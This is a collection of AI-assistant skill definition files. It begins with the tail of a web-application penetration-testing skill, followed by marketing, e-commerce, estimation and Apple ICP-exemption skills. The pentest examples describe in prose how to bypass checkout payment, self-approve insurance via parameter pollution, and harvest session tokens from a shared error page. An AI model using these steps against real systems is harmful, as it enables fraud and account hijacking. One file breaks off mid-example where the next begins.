- **Apply discounts only at order finalization, not at add-to-cart time.**
- **Escape the escape character.** Any escaping mechanism must also escape the escape character itself.
- **Compose defenses with awareness of interaction effects.** If two defenses are applied in sequence, reason about what happens when both transform the same input.
- **Use session-scoped (not static) storage for all per-user data.** Any component that writes user-identifying data must write it into the user's session, not a shared static container.
- **When search functions index protected content, enforce authorization at the inference level.** Returning match counts to unauthorized users is equivalent to returning the content.

## Examples

### Example 1: E-Commerce Checkout Skip

**Scenario:** Authorized penetration test of an online retail platform.

**Trigger:** Application implements a four-stage checkout: browse, basket review, payment, delivery. Tester has mapped the workflow and confirmed each stage is served from a distinct URL.

**Process:**
1. Complete stages 1 and 2 normally. Capture all HTTP requests.
2. Apply Pattern 3 (Workflow Stage Skip): from stage 2, construct a direct HTTP request to the stage 4 delivery URL, bypassing stage 3 (payment entry).
3. Submit the stage 4 request. Observe whether the application accepts it and generates an order.
4. Check the order management backend to confirm whether a real order was created without payment.

**Output:** Finding: "Checkout Stage Skip — Payment Bypass." Violated assumption: users always access checkout stages in sequence. Business impact: attackers can generate fulfilled orders without paying. Remediation: enforce that payment stage has been completed server-side (session flag set only after successful payment processing) before accepting the delivery stage request.

---

### Example 2: Insurance Application Cross-Stage Parameter Pollution

**Scenario:** Security assessment of a financial services insurance web application with applicant and underwriter roles.

**Trigger:** Application processes a multi-dozen-stage insurance application. Tester notices that the application uses a shared server-side component that updates application state with any name/value pair received in a POST request.

**Process:**
1. Walk through the full applicant flow, capturing all POST parameters at each stage.
2. Walk through the underwriter review flow as a valid underwriter account, capturing all POST parameters — especially the acceptance decision field (e.g., `underwriterDecision=accept`).
3. Apply Pattern 4 (Cross-Stage Parameter Pollution): during the applicant's final submission stage, additionally submit the underwriter acceptance parameter identified in step 2.
4. Observe whether the application's state records the application as accepted without actual underwriter review.

**Output:** Finding: "Cross-Stage Parameter Pollution — Applicant Self-Underwriting." Violated assumption: only underwriters submit underwriter parameters. Business impact: applicants can accept their own insurance applications at arbitrary premium values. Remediation: enforce role-based access control at the parameter level; the server must validate that each parameter is appropriate for the authenticated user's role before updating application state.

---

### Example 3: Debug Message Polling for Session Tokens

**Scenario:** Penetration test of a recently deployed financial services web application that exhibits intermittent errors.

**Trigger:** During normal testing, an error page appears containing the current user's username, session token, and request parameters. The tester notes this is returned as a redirect to a static URL (`/app/error?id=last`).

**Process:**
1. Apply Pattern 11 (Debug Message Harvesting): engineer an error condition from Account A and immediately access `/app/error?id=last` from Account B.
2. Observe whether Account B's browser displays Account A's debug information (confirming static storage).
3. Write a script to poll `/app/error?id=last` every few seconds over a 30-minute window, logging all responses.
4. Review the log for session tokens and usernames belonging to other users.

**Output:** Finding: "Static Debug Storage — Cross-User Session Token Disclosure." Violated assumption: each user sees only their own debug information because they follow the redirect to their own error. Business impact: an attacker who polls the error endpoint over time accumulates session tokens for other users and can hijack those sessions. Remediation: store debug information in session-scoped storage, not a static global container; or disable verbose debug messages in production entirely.

# Product Comparison & Review Copywriter

## Purpose

This skill generates fair, structured product comparison content — head-to-head comparison tables, category buying guides, balanced pros/cons analyses, specification battles, and personalized "best for" recommendations. It is built with fairness as a first principle: the output must be useful to readers making purchase decisions, not a disguised sales pitch. Designed for e-commerce product pages, editorial content, affiliate marketing, and merchant category pages.

## Triggers

- "product comparison"
- "product VS"
- "对比评测"
- "buying guide"
- "pros and cons"
- "选购指南"
- "compare products"
- "spec comparison"
- "best for recommendation"
- "优缺点分析"

## Workflow

1. Receive products to compare from user: Product A and Product B (or a category with multiple entries), with key specs, price points, target users, and any sponsored/editorial disclosure.
2. Build a feature comparison matrix: list all comparable features across both products, note where data is missing.
3. Generate balanced pros and cons for each product — a MINIMUM of 2 pros and 2 cons per product, even for the recommended one.
4. Create "best for" recommendations based on user personas, not product superiority: "Product A is best for [persona/use case], Product B is best for [different persona/use case]."
5. Apply the fairness gate: verify no invented weaknesses, no suppressed advantages, no defamatory language.
6. Output the complete comparison package: feature table + pros/cons + buying recommendation + fairness disclosure.

## Prompt Templates

### 1. Head-to-Head Comparison (`head_to_head_comparison`)
**Purpose:** Generate a structured A vs B comparison.
**Input:**
- `product_a_name` — Product A name + key specs
- `product_b_name` — Product B name + key specs
- `comparison_focus` — What matters most (price/performance/quality/features/ecosystem)
- `disclosure` — Editorial or sponsored relationship

**Output:** Feature matrix table + balanced pros/cons per product + "best for" verdict + fairness disclosure.

### 2. Buying Guide (`buying_guide`)
**Purpose:** Create a tiered buying guide for a product category.
**Input:**
- `category` — Product category (e.g., "noise-canceling headphones")
- `budget_tiers` — Price brackets with 1–2 products per tier
- `user_personas` — 2–3 buyer types and what they value

**Output:** Tiered guide: Budget Tier | Product(s) | Key Feature | Best For | Pros | Cons | Price.

### 3. Pros/Cons Generator (`pros_cons_generator`)
**Purpose:** Generate an objectively balanced pros/cons list for one product.
**Input:**
- `product_name` — Product
- `product_details` — Full specs, price, user reviews context
- `use_case` — Intended usage context

**Output:** Pros list (minimum 3) and Cons list (minimum 2), each with a one-sentence explanation.

### 4. Spec Battle (`spec_battle`)
**Purpose:** Format raw specifications into a readable comparison.
**Input:**
- `product_a_specs` — Structured spec list for Product A
- `product_b_specs` — Structured spec list for Product B
- `highlight_categories` — Which spec categories to emphasize

**Output:** Spec comparison table: Feature | Product A | Product B | Winner (if clear) | Note.

### 5. Best For Matcher (`best_for_matcher`)
**Purpose:** Match products to user personas with personalized recommendations.
**Input:**
- `product_options` — 2–5 products in a category
- `user_persona` — One persona description (type, budget, priorities, constraints)

**Output:** Ranked recommendation: #1 pick with reasoning, runner-up, and "avoid if" note for each product.

## Output Format

Every comparison is delivered in a reader-friendly structure:

**Feature Comparison Table:**
| Feature | Product A | Product B | Edge |
|---------|-----------|-----------|------|
| Price | ¥299 | ¥399 | A |
| ... | ... | ... | ... |

**Pros & Cons:**
- **Product A**
  - ✅ Pro 1: ...
  - ❌ Con 1: ...
- **Product B** (same structure)

**Verdict:** Best for [persona/use case] → [which product and why]

**Fairness Disclosure:** [Editorial/Sponsored/Data sources]

## Safety Rules

- **NEVER** invent or exaggerate a competitor's weakness — if data is missing, say "data not available"
- **NEVER** suppress or omit a competitor's genuine advantage
- **NEVER** use defamatory, dismissive, or insulting language about any product
- **NEVER** present sponsored content as editorial — always label sponsorship
- **ALWAYS** generate AT LEAST 2 cons for every product, even the recommended one
- **ALWAYS** cite sources when using third-party data or reviews
- **ALWAYS** provide a fairness disclosure section

## Examples

### Example 1: Head-to-Head (Smartphones)
**Input:** A="Phone X ¥2999 6.7in 5000mAh 64MP", B="Phone Y ¥3299 6.5in 4500mAh 108MP", Focus="camera+battery"
**Output:** Feature table with 8 rows, A wins on battery/price, B wins on camera/resolution. Pros/cons for each (Phone X con: "lower camera resolution"; Phone Y con: "higher price, smaller battery"). Verdict: "Phone X best for budget-conscious battery users; Phone Y best for photography enthusiasts."

### Example 2: Buying Guide
**Input:** Category="蓝牙耳机 (Bluetooth Earbuds)", Tiers=["入门<200", "中端200-500", "高端>500"], Personas=["通勤党", "运动党", "学生党"]
**Output:** Three-tier guide with 5 products, each linked to a persona, with balanced pros/cons.

# Product Title & Selling-Point Booster

## Purpose

This skill optimizes e-commerce product titles for search visibility and conversion across five major platforms: Taobao (淘宝), JD (京东), Pinduoduo (拼多多), Amazon, and Shopify/independent stores. It applies platform-specific constraints — character limits, keyword positioning rules, and formatting conventions — to extract high-intent keywords and craft titles that rank better and convert more clicks. "Booster" signals immediate, measurable listing improvement.

## Triggers

- "优化商品标题"
- "生成淘宝标题"
- "Amazon title optimizer"
- "product title booster"
- "标题优化"
- "listing title"
- "电商标题"
- "title A/B test"
- "多平台标题"
- "标题评分"

## Workflow

1. Receive product details from user: product name, brand, category, key attributes (material, size, color, function), and target platform(s).
2. Mine relevant keywords from product attributes: core product term, modifier keywords (material, style, season), scenario keywords, and audience keywords.
3. Apply platform-specific constraints:
   - Taobao: 60 characters max, keyword-stacking style, core term early
   - JD: Brand first, spec-dense, model numbers prominent
   - PDD: Value/price keywords prominent, benefit language
   - Amazon: 200 characters max, no promotional language, backend search terms separate
   - Shopify: SEO-optimized, H1-friendly, conversion-focused
4. Generate optimized title(s) that pack maximum search value within constraints.
5. Create A/B variant suggestions with rationale explaining why each variant may perform differently.
6. Score the original/optimized title and explain each optimization choice.

## Prompt Templates

### 1. Title from Product Info (`title_from_product_info`)
**Purpose:** Generate an optimized title from raw product details.
**Input:**
- `brand` — Brand name
- `product_type` — Core product term
- `key_attributes` — Material, size, color, function, style
- `target_platform` — Platform name
- `current_title` — (Optional) Existing title to improve

**Output:** Optimized title + character count + keyword analysis table showing which keywords were included and why.

### 2. Multi-Platform Title Pack (`multi_platform_title_pack`)
**Purpose:** Generate titles for 5 platforms from one product.
**Input:**
- `product_details` — Same as above
- `platforms` — List of target platforms

**Output:** Title per platform, each with character count and platform-specific optimization notes.

### 3. Title A/B Variants (`title_ab_variants`)
**Purpose:** Generate 3 alternative titles with rationale.
**Input:**
- `current_title` — Current title
- `hypothesis` — What to test (keyword order, emotional appeal, specificity)

**Output:** 3 variant titles, each with: variant title, character count, hypothesis tested, expected click/ranking impact.

### 4. Keyword Extractor (`keyword_extractor`)
**Purpose:** Mine keywords from competitor titles for strategy.
**Input:**
- `competitor_titles` — 3–5 competitor listing titles
- `target_platform` — Platform context

**Output:** Keyword frequency table, gap analysis (what competitors use that you don't), and suggested keyword additions.

### 5. Title Grader (`title_grader`)
**Purpose:** Score a title and suggest improvements.
**Input:**
- `title` — Title to evaluate
- `platform` — Platform rules apply

**Output:** Score out of 100 + breakdown by dimension (keyword coverage, readability, platform compliance, conversion appeal) and specific improvement suggestions.

## Output Format

Titles are delivered with:
- **Optimized title** (bolded)
- **Character count** (with platform limit noted)
- **Keyword analysis table:** Keyword | Search Intent | Position | Reason
- **A/B variants** (when requested): Variant | Hypothesis | Expected Impact

## Safety Rules

- **NEVER** stuff keywords in a way that violates specific platform listing policies
- **NEVER** include trademarked competitor brand names in titles
- **NEVER** make misleading claims about product attributes, materials, or certifications
- **ALWAYS** verify proposed titles against platform-specific restricted term lists
- **ALWAYS** remind user to check platform's latest title guidelines (policies change)

## Examples

### Example 1: Taobao Title Optimization
**Input:** Brand="XX", Type="真丝连衣裙", Attributes="中长款、修身、2024新款、桑蚕丝", Platform="Taobao"
**Output:** "XX2024新款桑蚕丝真丝连衣裙女中长款修身显瘦高级感气质" (38 chars / 60 limit) with keyword analysis.

### Example 2: Multi-Platform Pack
**Input:** Same product, Platforms=[Taobao, Amazon, Shopify]
**Output:** Three titles with different structural approaches: keyword-stacked (Taobao), brand-spec (Amazon), SEO-optimized (Shopify).

# Live Commerce Sales Script Kit

## Purpose

This skill generates professional live-streaming sales scripts for live commerce hosts on platforms like Douyin Live (抖音直播), Kuaishou Live (快手直播), and Taobao Live. It covers every aspect: product introduction flow, pricing reveal cadence, urgency-building phrases (ethically constrained), audience interaction triggers, Q&A preparation, segment timing, and full-session outlines. Think of it as a director's script for your live commerce show — "Kit" signals a ready-to-use bundle of templates and frameworks, not a single monolithic output.

## Triggers

- "直播带货话术"
- "直播脚本"
- "直播话术"
- "带货脚本"
- "live selling script"
- "flash sale script"
- "直播互动"
- "单品直播"
- "整场直播规划"
- "逼单话术"

## Workflow

1. Receive product information and session type from user: single product demo, multi-product session, or flash sale.
2. For single product: structure the 3–8 minute product introduction flow (hook → demonstration → benefits → pricing → urgency → CTA).
3. For multi-product: build a time-allocated session outline with product sequence, transition monologues, and energy management.
4. Insert audience interaction triggers at regular intervals: polls, Q&A prompts, comment callouts, engagement games.
5. Add urgency-building phrases and transitional language — always with ethical constraints on scarcity and pricing claims.
6. Prepare anticipated audience Q&A pairs for each product.
7. Include pacing notes, segment timing, and host energy level guidance.
8. Deliver script with anchor monologue, interaction triggers, Q&A branches, and timing guide.

## Prompt Templates

### 1. Single Product Live Script (`single_product_live_script`)
**Purpose:** Generate a complete 3–8 minute script for showcasing one product.
**Input:**
- `product_name` — Product name
- `price` — Selling price (and optional original price)
- `key_features` — 3–5 key selling points
- `target_audience` — Who's watching
- `duration_minutes` — Target segment length (3–8)

**Output:** Timed script with sections: Opening Grab → Product Reveal → Feature Demo → Comparison → Pricing Reveal → Urgency Build → CTA → Transition.

### 2. Full Session Flow (`full_session_flow`)
**Purpose:** Design a complete multi-product 1–4 hour live session.
**Input:**
- `product_list` — List of products with selling order priority
- `session_duration` — Total session length in hours
- `flow_style` — Energy curve: high-low-high / sustained / gradual build

**Output:** Time-allocated outline with: Warm-up, Product 1-n, Intermission moments, Flash sales, Closing. Each with estimated duration, transition monologue, and energy level.

### 3. Urgency Phrase Bank (`urgency_phrase_bank`)
**Purpose:** Generate a categorized bank of urgency phrases for live selling.
**Input:**
- `scenario` — Situation: limited-time offer / low stock / exclusive deal / first-time buyer bonus
- `count` — Number of phrase variants per category

**Output:** Phrases organized by category (timing-based / quantity-based / exclusivity-based), each with an ethical constraint note.

### 4. Audience Q&A Prep (`audience_qa_prep`)
**Purpose:** Anticipate and prepare responses for common audience questions.
**Input:**
- `product_name` — Product
- `product_details` — Specs, materials, sizes, guarantees
- `common_concerns` — Typical buyer hesitations for this product type

**Output:** 15–20 Q&A pairs organized by question type: product/details, pricing/value, logistics/after-sales, objections/skepticism.

### 5. Flash Sale Countdown (`flash_sale_countdown`)
**Purpose:** Generate a high-energy countdown script for a limited-time offer.
**Input:**
- `product_name` — Product
- `flash_price` — Flash sale price
- `original_price` — Regular price
- `quantity_available` — Actual available quantity
- `duration_seconds` — Countdown window (typically 60–180s)

**Output:** Countdown script with: Price Reveal → Quantity Mention → 30s Reminder → 10s Final Call → Sold Out / Next Product.

## Output Format

All scripts follow a formatted broadcast table:

| Time | Segment | Anchor Monologue | Interaction Trigger | Energy Level |
|------|---------|-----------------|---------------------|--------------|
| 0:00–1:00 | Opening | "Welcome..." | Ask where watching from | 🔥 High |
| ... | ... | ... | ... | ... |

## Safety Rules

- **NEVER** fabricate false scarcity (e.g., "only 3 left" when stock is ample)
- **NEVER** invent fake original prices or price anchors to make discounts look bigger
- **NEVER** use high-pressure tactics targeting vulnerable consumers (elderly, financially distressed)
- **ALWAYS** prompt host to verify and disclose actual stock levels
- **ALWAYS** comply with platform-specific live commerce regulations
- **ALWAYS** maintain honest product descriptions — no exaggerated efficacy claims

## Examples

### Example 1: Single Product Script
**Input:** Product = "XX面霜", Price = "299元 (原价399)", Features = "保湿、修护、敏感肌可用", Duration = "5分钟"
**Output:** 5-minute script with opening hook about winter skin, ingredient demo, texture test, pricing reveal with savings calculation, limited-time urgency, and link click CTA.

### Example 2: Flash Sale Countdown
**Input:** Product = "蓝牙耳机", Flash = "99元 (原价199)", Qty = "50件", Duration = "120s"
**Output:** Countdown script with Qty count decrements at 50, 30, 10 remaining, 30s and 10s reminders, final call, and transition.

# 📊 Software Development Work Estimation

Automatically analyze user requirements, break them into specific work items, and estimate effort across multiple dimensions, outputting structured Excel reports.

## Workflow

### Step 1: Collect Requirements

User provides:
- Requirements description (plain text)
- Or requirements document path (supports .md, .docx, .txt formats)

### Step 2: AI Requirements Breakdown

AI automatically:
1. Analyzes requirement content
2. Breaks down into specific work modules
3. Categorizes by dimension (Analysis, Design, Frontend, Backend, Algorithm, Testing)

### Step 3: Effort Estimation

For each work item, evaluate:
- Workload (man-days)
- Complexity (Low/Medium/High)
- Risk Level (Low/Medium/High)
- Parallel Feasibility
- Prerequisites

### Step 4: Generate Excel

Multi-sheet Excel report:
- Overview
- Dimension Details
- Gantt Chart (Project Progress)
- Key Risk Items
- Coordination Relations
- Cost Estimation

## Output Description

### Sheet 1: Overview

| Work Module | Analysis | Design | Frontend | Backend | Algorithm | Testing | Total |
|------------|----------|--------|----------|---------|-----------|--------|-------|
| Module A   | 1 day   | 2 days | 3 days  | 5 days | 1 day    | 2 days | 14 days |

### Sheet 2-7: Dimension Details

Work content, estimation basis, and estimated hours by dimension.

### Sheet 8: Gantt Chart

Visual display of parallel work, critical path, and milestones. **Automatically skips weekends and holidays**.

### Sheet 9: Key Risk Assessment

Items with high risk or uncertainty are listed separately with explanations and recommendations.

### Sheet 10: Coordination Relations

Dependencies between work items, prerequisites, and coordination matters.

### Sheet 11: Cost Estimation

Three parts:
- **Labor Cost**: Role × man-days × daily rate
- **Hardware/Software Cost**: Servers, domains, SSL, third-party services
- **Total Budget**: Includes 15% contingency buffer

## Estimation Reference

| Complexity | Frontend | Backend | Algorithm | Testing |
|------------|----------|---------|-----------|---------|
| Low        | 1-2 days | 1-3 days | 1-3 days | 0.5-1 day |
| Medium     | 3-5 days | 3-7 days | 3-7 days | 1-3 days  |
| High       | 5-10 days| 7-14 days| 7-14 days| 3-5 days  |

## Notes

- Estimation based on standard team config (1 frontend, 1 backend, 1 tester)
- Parallel work reduces calendar time, not man-hours
- Reserve 10-20% buffer for changes
- Adjust based on actual team situation

## Example

**User:** Help me estimate this project: Develop an e-commerce mini-app with user login, product display, shopping cart, and order payment

**AI:**
```
Got it! I'll help you with the work estimation.

Based on your requirements, I've broken them down into:

📦 **Work Modules**
1. User System (login, register, profile)
2. Product Module (list, detail, search)
3. Shopping Cart Module
4. Order Module
5. Payment Module
6. Infrastructure (routing, state management, API)

Generating detailed estimation report...

# Content and Email Marketing

## When to Use

The startup needs a content strategy, an email strategy, or both integrated. Use this skill when:

- Starting a blog or newsletter from scratch
- Users sign up but don't activate (need activation emails)
- Product-market fit exists but growth isn't compounding (need lifecycle emails)
- A content channel was selected via Bullseye

Content and email are tightly coupled — content builds the email list, email converts the list. This skill covers both as one system.

## Context & Input Gathering

### Required Context (must have — ask if missing)

- **Product description and target audience**
  → Check prompt for: product name, category, ideal customer
  → If missing, ask: "What does your product do, and who's the target audience?"

- **Activation definition:** what action defines an "activated" user
  → Check prompt for: "active user", "first upload", "created project"
  → If missing, ask: "What's the first valuable action a user takes? For Dropbox it's uploading a file, for Twitter it's following 5 people. What's yours?"

### Observable Context

- **Existing content/email assets:** prior blog posts, current email list size, current sequences
- **Conversion funnel:** signups vs activations vs retention

### Default Assumptions
- 4-stage lifecycle: Acquisition → Activation → Retention → Revenue
- CEO personal email 30 minutes after signup (Colin Nederkoorn pattern)
- Never buy email lists — organic only (avoid the spam trap)

### Sufficiency Threshold

```
SUFFICIENT: product + audience + activation definition known
PROCEED WITH DEFAULTS: product + audience known, use "first valuable action" as activation proxy
MUST ASK: product is unknown
```

## Process

Use TodoWrite:
- [ ] Step 1: Define activation threshold
- [ ] Step 2: Plan acquisition content topics
- [ ] Step 3: Design activation email sequence
- [ ] Step 4: Design retention emails
- [ ] Step 5: Design revenue/upsell emails
- [ ] Step 6: Avoid the spam trap

### Step 1: Define Activation Threshold

**ACTION:** Identify the specific action that defines an "activated" user. This must be:
- Specific (not vague engagement)
- Measurable (trackable in analytics)
- Predictive (users who hit it stick; users who don't, churn)

Examples: Twitter — follow 5 people. Dropbox — upload 1 file. Facebook — friend 7 people in 10 days. Slack — send 2,000 messages. These are the actual activation thresholds from real products.

Write the threshold to `activation-definition.md`.

**WHY:** Without a clear activation threshold, email sequences can't target drop-offs. "Send onboarding emails" without knowing the activation event produces generic welcome emails that don't move the needle. The threshold is the foundation for the entire activation email strategy.

**IF** retention data doesn't exist → pick a reasonable first-value action as a hypothesis. Measure and refine.

### Step 2: Plan Acquisition Content Topics

**ACTION:** Design content topics that attract the target audience, especially BEFORE they're ready to buy. Content marketing is list-building as much as it is brand-building.

Topics by type:
- **Awareness-stage content:** problems the audience has that your product solves
- **Consideration-stage content:** comparisons, case studies, how-to guides
- **Decision-stage content:** product-specific content (pricing analyses, specific use cases)

Every content piece should have a **lead magnet** — a free resource (checklist, template, mini-ebook) that captures the email in exchange. This is how content becomes an email list.

**WHY:** Content without a capture mechanism builds awareness but doesn't build a list. The list is the asset. A blog post with 10,000 views and no email captures is 10,000 visits wasted. The lead magnet is what converts anonymous traffic into named leads you can nurture.

**IF** no content capacity exists → budget for 2-4 freelance articles per month as a baseline.

### Step 3: Design Activation Email Sequence

**ACTION:** For each step from signup to activation, identify potential drop-off points. Create an email triggered when a user fails to complete each step within N days.

Colin Nederkoorn's (Customer.io founder) pattern:
1. Map the ideal user experience step-by-step from signup to activation
2. Identify every step where users drop off
3. Create an automated email triggered when a user fails to complete that step within N days
4. Each email nudges the user back to the ideal path
5. Add a personal "CEO email" 30 minutes after signup — this one email opened communication and produced 17% reply rates for Colin

Example sequence for a Dropbox-like product:
- Day 0 (30min): CEO personal email, no sales pitch
- Day 1: "Here's how to upload your first file" (if not uploaded)
- Day 3: "Users who upload 5+ files stick around 10x longer"
- Day 7: "Having trouble? Here's a video walkthrough"

**WHY:** Users don't churn because they disliked the product — they churn because they never got to the valuable moment. Activation emails close the gap between signup and value. Each drop-off point has a specific email that addresses that specific reason.

### Step 4: Design Retention Emails

**ACTION:** For infrequent-use products (the most common case), retention emails keep the product top-of-mind:

- **Weekly/monthly value summary** — Mint's weekly financial summary. BillGuard's monthly credit card report. Reminds users why they signed up.
- **Re-engagement triggers** — "Someone mentioned you" (Twitter), "New reply to your question" (Stack Overflow).
- **"You are so awesome" emails** — Patrick McKenzie's pattern. Usage summaries that make the user feel good about using the product.
- **Memory-anchored emails** — Photo site anniversaries, "A year ago today..." hooks.

Write the retention sequence to `retention-emails.md`.

**WHY:** Retention is about presence. Products the user loves but forgets about cease to exist in their life. Retention emails are not about selling — they're about reminding. Mint's weekly summary isn't pitched as retention, it's pitched as value. The retention effect is a byproduct.

### Step 5: Design Revenue / Upsell Emails

**ACTION:** For users who are activated and retained, design sequences that drive expansion revenue:

- **Referral emails** — Dropbox's storage-for-referral. Incentivizes word-of-mouth.
- **Upsell sequences** — WP Engine's 7-email upsell sequence from free tool to paid.
- **Cart abandonment retargeting** — for e-commerce/pricing page abandonment.
- **Feature-gate upgrade prompts** — for freemium products.

These are typically 3-7 email sequences triggered by specific behavior (not time).

**WHY:** Users who are retained but not expanding are leaving revenue on the table. Upsell sequences capture the willing-to-pay tier that wouldn't upgrade without a prompt. Referral emails turn happy users into new-user acquisition. These are pure expansion revenue that wouldn't exist without the email.

### Step 6: Avoid the Spam Trap

**ACTION:** Document the email marketing anti-patterns:

**Never buy email lists.** "Some companies will buy email lists and send people unsolicited email. That is the very definition of spam. Spam makes recipients angry, hurts future email deliverability efforts, and harms your company in the long run."

Other spam patterns:
- Unclear subject lines that trip spam filters
- Missing unsubscribe link
- Using "noreply@" as the from address
- Blast schedules unrelated to user behavior
- Purchased email lists labeled as "leads"

**WHY:** Email deliverability is a reputation asset built over years. One spam complaint rate over 0.3% can cause deliverability issues that take months to recover from. Buying lists is the fastest way to destroy the asset you're trying to build.

## Inputs

- Product description and target audience
- Activation threshold definition
- Current content/email assets (if any)
- Funnel metrics (if available)

## Outputs

Five markdown files:

1. **`activation-definition.md`** — Specific activation threshold
2. **`content-plan.md`** — Content topics by funnel stage + lead magnets
3. **`activation-emails.md`** — Triggered sequences per drop-off point
4. **`retention-emails.md`** — Value summaries, re-engagement, memory-anchored
5. **`revenue-emails.md`** — Referral, upsell, cart recovery, feature gates

## Key Principles

- **The list is the asset, not the blog.** Content without email capture wastes traffic. WHY: Traffic is ephemeral; email is compounding. Without a capture mechanism, every blog post leaves the audience one step removed from the relationship.

- **Activation defines the email target.** Without a threshold, sequences are generic welcomes. WHY: Activation is the handoff from "signup" to "customer." Every email either moves users toward activation or moves them away from churn.

- **Retention emails reinforce value, not sell.** Mint's weekly summary is valuable; a "we miss you" email is annoying. WHY: Users who love the product but forget it churn. Retention emails exist to remind, not convince.

- **Behavioral triggers beat schedule blasts.** Email when users do (or don't do) something, not on Tuesday morning. WHY: Relevance is the single biggest factor in open rates. Behavior-triggered emails are inherently relevant.

- **CEO email 30 minutes after signup.** One personal email opens communication more than 5 automated ones. WHY: Users expect automation. A human email is unexpected and memorable. Colin Nederkoorn's 17% reply rate proves this.

- **Never buy lists.** Deliverability is a multi-year reputation asset. WHY: One spam complaint surge can destroy deliverability for months. Organic list-building is slower but compounds; bought lists are fast and destructive.

## Examples

**Scenario: SaaS with high signup, low activation**

Trigger: "We get 500 signups per month to our project management tool but only 50 actually create a project. Help."

Process: (1) Activation threshold: "create first project with 2+ tasks." (2) Content plan: 2 articles/month on project management best practices → lead magnets with templates → activation follow-through. (3) Activation sequence: Day 0 CEO email, Day 1 "create your first project in 2 minutes" video, Day 3 "5 project templates to copy", Day 5 "need help? Book a 10min call". (4) Retention: weekly team summary emails. (5) Revenue: upsell to paid when team hits 10 users.

Output: Full lifecycle plan with drop-off-triggered emails.

**Scenario: Blog with no email capture**

Trigger: "Our blog gets 50k visits/month but we only have 200 email subscribers. Ratio is terrible."

Process: (1) Diagnosis: no lead magnets. 50k visits × 2% capture = 1,000 new subs/month achievable. (2) Lead magnet plan: 3 downloadable resources (checklist, template, mini-guide) placed on the top 5 articles. (3) Activation emails for new subscribers: welcome sequence with value, not pitches. (4) Retention: weekly newsletter with curated industry content. (5) Revenue: after 4 weeks of nurture, introduce product.

Output: Content-to-email capture strategy with specific lead magnets and follow-through.

**Scenario: Retention problem for infrequent-use product**

Trigger: "Our expense tracking app has good ratings but users sign up and then forget about it. How do we fix retention?"

Process: (1) Retention is the core problem — infrequent-use product. (2) Weekly value summary: "Here's what you spent this week." Even users who haven't used the app for 2 weeks get reminded of the value. (3) Memory-anchored: "A month ago you saved $47 by noticing your subscription charges." (4) Re-engagement: "You have 3 new transactions to categorize." (5) CEO email on signup + milestone emails ("You've tracked $1,000 in expenses!").

Output: Retention-first email plan that reinforces product value without sales pressure.

# The 4-Stage Customer Lifecycle

From Chapter 14 of *Traction*. Every customer passes through these stages, and each stage has distinct email patterns.

## Stage 1: Acquisition

**Goal:** Get people onto the email list.
**Mechanism:** Content + lead magnets + list-building tactics.

Tactics:
- Gated content (email required for download)
- Free course delivered over email
- Newsletter advertising on other newsletters
- Exit-intent popup with lead magnet
- Co-marketing with complementary brands

**What this stage IS NOT:** buying email lists, cold outreach without opt-in.

## Stage 2: Activation

**Goal:** Get users to the first valuable action in your product.
**Mechanism:** Triggered emails at each drop-off point on the path to activation.

The Colin Nederkoorn (Customer.io) process:
1. Define the ideal user journey from signup to activation
2. Identify every step where users drop off
3. Create an automated email for each drop-off
4. Start with a CEO personal email 30 min after signup (17% reply rate)

Example activation thresholds:
- **Twitter:** follow 5 people
- **Dropbox:** upload 1 file
- **Facebook:** 7 friends in 10 days
- **Slack:** 2,000 team messages sent
- **Airbnb:** first booking

## Stage 3: Retention

**Goal:** Keep users engaged over time so they don't churn.
**Mechanism:** Value-reinforcing emails that remind users why they signed up.

Patterns that work:
- **Weekly/monthly value summaries** (Mint's financial report, BillGuard's credit monitoring)
- **Mention/activity notifications** (Twitter "someone mentioned you", Stack Overflow "new answer")
- **Usage reports** (Patrick McKenzie's "you are so awesome" emails with user's own stats)
- **Memory-anchored emails** (photo site anniversaries, "A year ago today...")

These are NOT sales emails. They're value-delivery emails that happen to drive retention.

## Stage 4: Revenue

**Goal:** Convert free users to paid, trial users to subscribers, one-time buyers to repeat customers, and existing customers to higher tiers.
**Mechanism:** Behavior-triggered sequences when users are at natural conversion moments.

Patterns:
- **Upsell sequences** (WP Engine's 7-email sequence from free speed test to paid hosting)
- **Cart abandonment retargeting** (for e-commerce and pricing page abandonment)
- **Feature-gate emails** (freemium products prompting upgrade when user hits the free tier ceiling)
- **Referral emails** (Dropbox storage for referrals — revenue via new acquisition)
- **Win-back campaigns** (churned users with a special offer)

## Cross-Stage Principle: Behavior, Not Schedule

Every stage's emails should be triggered by user behavior, not by calendar schedules. "Email users on Tuesday at 9am" is always worse than "email users when they do X or don't do Y".

Why: relevance is the dominant factor in email performance. Behavior-triggered emails are inherently relevant. Scheduled blasts are inherently irrelevant for some percentage of the audience.

## Exception: Newsletters

Newsletters are the one email type where scheduled sends make sense — because the email itself IS the value, not a prompt to take an action. Mint's weekly financial summary is a newsletter in structure even though it's retention in function.

# Apple 国区 ICP 豁免申请附件生成器

## 概述

此 skill 用于生成 Apple App Store 中国大陆地区 ICP 备案豁免申请所需的正式附件 PDF。

## 触发场景

- 用户提到 ICP 备案/豁免/例外
- 用户的 App 在国区被下架，需要申请豁免
- 用户需要准备 Apple 中国区合规材料
- 用户提到 "申请例外批准"、"ICP 相关申诉" 等

## 信息收集

在生成 PDF 前，需要向用户收集以下信息：

### 必填信息
1. **Team ID**（团队 ID）— 在 App Store Connect → 账户 → 会员资格 中查看
2. **账户持有人法定姓名**（中文全名，与证件一致）
3. **App ID**（应用 ID）— 在 App Store Connect 的 App 详情页中查看
4. **申请日期**（默认今天，用户可更改）

### 信息收集方式

直接在对话中逐一询问，或一次性询问所有信息：

```
请提供以下信息来生成 ICP 豁免申请附件：
1. Team ID（例如：ABCD123456）
2. 账户持有人法定姓名
3. App ID（例如：1234567890）
4. 申请日期（格式：YYYY年MM月DD日，留空则使用今天）
```

## PDF 生成步骤

收集好所有信息后，运行以下命令生成 PDF：

```bash
python3 /home/claude/icp-exemption-skill/scripts/generate_pdf.py \
  --team-id "TEAM_ID" \
  --name "法定姓名" \
  --app-id "APP_ID" \
  --date "YYYY年MM月DD日" \
  --output "/mnt/user-data/outputs/ICP豁免申请附件.pdf"
```

生成后使用 `present_files` 将 PDF 提供给用户下载。

## 注意事项

- 生成的 PDF 需要用户**手写签名**后再提交
- 一个 App 对应一份附件，多个 App 需分别生成
- 提醒用户核实所有信息与 App Store Connect 账户完全一致
- PDF 使用中文，符合 Apple 中国区审核团队要求

## 申请说明

生成附件后，告知用户提交流程：
1. 打印或在平板上手写签名
2. 扫描/拍照保存为 PDF
3. 登录 App Store Connect，找到被下架的 App
4. 点击「联系我们」→「ICP 相关问题」
5. 上传签名后的附件，说明 App 不联网或仅使用 Apple 服务
